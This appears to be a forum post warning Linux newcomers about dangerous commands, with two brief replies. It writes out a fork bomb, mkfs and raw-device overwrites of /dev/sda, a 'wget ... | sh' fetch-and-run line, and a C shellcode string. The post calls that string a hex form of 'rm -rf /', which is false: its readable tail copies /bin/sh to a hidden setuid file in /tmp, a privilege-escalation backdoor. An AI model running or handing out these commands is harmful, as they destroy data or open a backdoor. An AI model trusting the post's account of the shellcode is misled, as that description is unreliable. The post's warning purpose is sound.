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[Be Quick Or Be Dead!]

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, here is a very small list of deadly Linux commands to avoid.


1. Code:


char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";



This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users. (This command will recursively and forcefully delete all the files inside the root directory)


2. mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.


3. Code: :(){:|:&};:

Known as fork-bomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.


4. any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the file-system resulting in total loss of data.


5. wget http://some_untrusted_source -O- | sh

Never download from un-trusted sources, and then execute the possibly malicious codes that they are giving you.

6. mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.





There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share them.

[nicwebmail]

thx 4 gr8 info just curious abt the fact that these are RH linux specif or will work in all.

nic

[Be Quick Or Be Dead!]

NIC - I dont deny that the above is great info. I wouldnt even deny the fact I know JackSchit about Linux